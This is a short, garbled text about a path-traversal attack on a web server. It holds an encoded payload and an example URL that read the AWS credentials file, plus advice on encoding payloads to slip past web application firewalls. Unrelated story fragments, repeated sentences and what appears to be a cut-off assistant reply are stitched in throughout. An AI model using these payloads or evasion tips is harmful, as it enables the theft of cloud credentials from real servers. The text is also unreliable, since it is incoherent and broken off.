-file-..-2f..-2f..-2f..-2fhome-2f-2a-2f.aws-2fcredentials

This specific string looks like a Local File Inclusion (LFI) or Path Traversal exploit payload used to exfiltrate AWS credentials from a vulnerable web server.

Bypass: Use encoding (like the double-encoding or hyphen-encoding seen in your string) to bypass basic Web Application Firewalls (WAFs) or input filters. -file-..-2F..-2F..-2F..-2Fhome-2F-2A-2F.aws-2Fcredentials

https://victim.com/download?file=../../../../home/ec2-user/.aws/credentials

Marcus picked up the phone. Dialed the NOC. No dial tone. This specific string looks like a Local File

Path traversal (or directory traversal) is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. This typically occurs when an application uses user-supplied input to construct a file path without sufficient validation. Exploit Breakdown Marcus picked up the phone

The Importance of Securing Sensitive Files and Directories

import urllib.parse

If you want, I can: